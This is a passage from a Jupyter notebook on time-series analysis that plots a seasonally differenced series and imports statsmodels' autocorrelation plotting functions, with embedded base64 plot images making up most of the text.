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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "df['Seasonal Difference'].plot()" - ] - }, - { - "cell_type": "code", - "execution_count": 17, - "id": "e7beb3b1", - "metadata": {}, - "outputs": [], - "source": [ - "from statsmodels.graphics.tsaplots import plot_acf,plot_pacf\n" - ] - }, - { - "cell_type": "code", - "execution_count": 18, - "id": "25a8d3ef", - "metadata": {}, - "outputs": [ - { - "data": { - "image/png": "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